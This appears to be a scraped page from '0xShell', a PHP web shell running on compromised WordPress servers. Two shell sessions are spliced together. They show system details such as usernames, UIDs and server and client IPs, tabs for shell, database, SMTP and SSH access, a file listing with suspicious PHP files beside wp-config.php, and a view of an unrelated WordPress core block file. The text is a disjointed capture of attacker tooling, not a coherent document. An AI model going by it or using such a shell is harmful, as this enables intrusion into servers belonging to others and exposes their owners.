0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php 0xShell

0xShell

System Info:
User: jonasls | UID: 188156 | GID: 100 | Groups: 100
Server IP: 10.127.20.1 | Client IP: 216.73.216.28
PHP: 8.0.30 | OS: Linux | Server: Apache
/home/jonasls/www/wp-includes/blocks$

Files

Viewing: accordion-item.php

<?php

/**
 * Server-side rendering of the `core/accordion-item` block.
 *
 * @package WordPress
 * @since 6.9.0
 *
 * @param array{ openByDefault: bool } $attributes The block attributes.
 * @param string                        $content   The block content.
 * @return string Returns the updated markup.
 */
function block_core_accordion_item_render( array $attributes, string $content ): string {
	if ( '' === $content ) {
		return $content;
	}

	$p         = new WP_HTML_Tag_Processor( $content );
	$unique_id = wp_unique_id( 'accordion-item-' );

	// Initialize the state of the item on the server using a closure,
	// since we need to get derived state based on the current context.
	wp_interactivity_state(
		'core/accordion',
		array(
			'isOpen' => function () {
				$context = wp_interactivity_get_context();
				return $context['openByDefault'];
			},
		)
	);

	if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-item' ) ) ) {
		$open_by_default = $attributes['openByDefault'] ? 'true' : 'false';
		$p->set_attribute( 'data-wp-context', '{ "id": "' . $unique_id . '", "openByDefault": ' . $open_by_default . ' }' );
		$p->set_attribute( 'data-wp-class--is-open', 'state.isOpen' );
		$p->set_attribute( 'data-wp-init', 'callbacks.initAccordionItems' );
		$p->set_attribute( 'data-wp-on-window--hashchange', 'callbacks.hashChange' );

		if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-heading__toggle' ) ) ) {
			$p->set_attribute( 'data-wp-on--click', 'actions.toggle' );
			$p->set_attribute( 'data-wp-on--keydown', 'actions.handleKeyDown' );
			$p->set_attribute( 'id', $unique_id );
			$p->set_attribute( 'aria-controls', $unique_id . '-panel' );
			$p->set_attribute( 'data-wp-bind--aria-expanded', 'state.isOpen' );

			if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-panel' ) ) ) {
				$p->set_attribute( 'id', $unique_id . '-panel' );
				$p->set_attribute( 'aria-labelledby', $unique_id );
				$p->set_attribute( 'data-wp-bind--inert', '!state.isOpen' );

				// Only modify content if all directives have been set.
				$content = $p->get_updated_html();
			}
		}
	}

	/*
	 * If an Accordion Item is collapsed by default, ensure any contained IMG has fetchpriority=low to deprioritize it
	 * from contending with resources in the critical rendering path. In contrast, remove the loading attribute to
	 * prevent the image from not being available when the item is expanded.
	 */
	if ( ! $attributes['openByDefault'] ) {
		$processor = new WP_HTML_Tag_Processor( $content );
		while ( $processor->next_tag( 'IMG' ) ) {
			$processor->set_attribute( 'fetchpriority', 'low' );
		}
		$content = $processor->get_updated_html();
	}

	return $content;
}

/**
 * Registers the `core/accordion-item` block on server.
 *
 * @since 6.9.0
 */
function register_block_core_accordion_item() {
	register_block_type_from_metadata(
		__DIR__ . '/accordion-item',
		array(
			'render_callback' => 'block_core_accordion_item_render',
		)
	);
}
add_action( 'init', 'register_block_core_accordion_item' );
Disabled functions: None